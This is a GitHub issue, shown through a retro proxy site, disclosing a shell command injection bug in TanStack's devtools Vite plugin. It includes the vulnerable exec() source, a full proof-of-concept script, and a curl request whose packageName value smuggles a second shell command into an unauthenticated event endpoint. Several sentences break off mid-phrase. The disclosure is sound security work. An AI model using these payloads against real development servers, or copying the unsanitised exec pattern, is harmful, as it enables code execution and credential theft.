GeezerVisonThe World Wide Web, restored to 800 pixels of glory. |
| Home|About|Gaming cabinet|Archives|How it works|Starter sites |
GeezerVison is showing github.com — Unauthenticated devtools event can trigger shell command injection during package install · Issue #464 · TanStack/devtools Open DescriptionTanStack Devtools version@tanstack/[email protected] Framework/Library versionVite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64 Describe the bug and the steps to reproduce it
When the Vite plugin runs in development mode, it starts a TanStack Devtools event bus, normally on Those handlers trust the event payload's The command is executed with Relevant source locations: The Vite plugin starts the event bus: const preferredPort = args?.eventBusConfig?.port ?? 4206 const serverHost = typeof server.config.server.host === 'string' ? server.config.server.host : 'localhost' const bus = new ServerEventBus({ ...args?.eventBusConfig, port: preferredPort, host: serverHost, }) devtoolsPort = await bus.start() The same plugin registers package-installation handlers: devtoolsEventClient.on('install-devtools', async (event) => { const result = await installPackage(event.payload.packageName) ... }) devtoolsEventClient.on('bump-package-version', async (event) => { const { packageName, minVersion } = event.payload const packageWithVersion = minVersion ? `${packageName}@^${minVersion}` : packageName const result = await installPackage(packageWithVersion) ... }) The command injection sink is: const getInstallCommand = ( packageManager: string, packageName: string, ): string => { switch (packageManager) { case 'yarn': return `yarn add -D ${packageName}` case 'pnpm': return `pnpm add -D ${packageName}` case 'bun': return `bun add -D ${packageName}` case 'npm': default: return `npm install -D ${packageName}` } } export const installPackage = async (packageName: string) => { ... const installCommand = getInstallCommand(packageManager, packageName) ... exec(installCommand, async (installError) => { ... }) } The event bus forwards unauthenticated WebSocket messages to server-side listeners: ws.on('message', (msg) => { const data = parseWithBigInt(msg.toString()) this.emitToServer(data) }) Steps to reproduce: rm -rf /tmp/tanstack-devtools-vite-poc mkdir /tmp/tanstack-devtools-vite-poc cd /tmp/tanstack-devtools-vite-poc npm init -y >/dev/null npm install vite @tanstack/[email protected] >/dev/null cat > vite.config.mjs <<'JS' import { defineConfig } from 'vite'; import { devtools } from '@tanstack/devtools-vite'; export default defineConfig({ plugins: [ ...devtools({ logging: false, }), ], }); JS cat > index.html <<'HTML' <div id="app">tanstack devtools vite poc</div> <script type="module" src="/src/main.js"></script> HTML mkdir -p src cat > src/main.js <<'JS' console.log('tanstack devtools vite poc'); JS rm -f /tmp/tanstack-devtools-vite-pwn NODE_ENV=development npx vite --host localhost --port 5173 > /tmp/tanstack-vite.log 2>&1 & VITE_PID=$! sleep 2 node --input-type=module <<'JS' import { WebSocket } from 'ws'; const ws = new WebSocket('ws://localhost:4206/__devtools/ws'); ws.on('open', () => { ws.send(JSON.stringify({ type: 'tanstack-devtools-core:install-devtools', pluginId: 'tanstack-devtools-core', payload: { packageName: 'definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #', pluginName: 'PocPlugin', pluginImport: { importName: 'PocPlugin', type: 'jsx' } } })); setTimeout(() => ws.close(), 500); }); setTimeout(() => process.exit(0), 1500); JS sleep 5 test -f /tmp/tanstack-devtools-vite-pwn && echo "VULNERABLE: marker created" kill "$VITE_PID" 2>/dev/null || true sed -n '1,80p' /tmp/tanstack-vite.log Observed output: The marker file is created, showing that the shell parsed and executed the injected command. I also reproduced the same issue through the HTTP event endpoint: curl -X POST http://localhost:4206/__devtools/send \ -H 'Content-Type: application/json' \ --data '{"type":"tanstack-devtools-core:install-devtools","pluginId":"tanstack-devtools-core","payload":{"packageName":"x; touch /tmp/tanstack-devtools-vite-pwn; #","pluginName":"PocPlugin","pluginImport":{"importName":"PocPlugin","type":"jsx"}}}' Impact: I understand this package is intended for development tooling, so I would not describe this as a production application RCE. The narrower issue is that an unauthenticated local devtools event endpoint can trigger package-manager command execution with attacker-controlled shell syntax. By default this is primarily a local development server risk. However, development servers often have access to source code, package-manager auth tokens, local environment variables, dependency credentials, and the developer's filesystem. The risk can also increase if the dev server/event bus is exposed through Suggested fix:
Your Minimal, Reproducible Example - (Sandbox Highly Recommended)The reproduction above is a complete local shell script. It creates a minimal Vite project from scratch, installs only Screenshots or Videos (Optional)No response Do you intend to try to help solve this bug with your own PR?No response Terms & Code of Conduct
Activity
MetadataMetadataAssigneesLabelsNo labels TypeProjectsMilestoneRelationshipsDevelopmentIssue actions |
| You are visitor 01402503 — GeezerVison does not store the pages you look up. Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required. |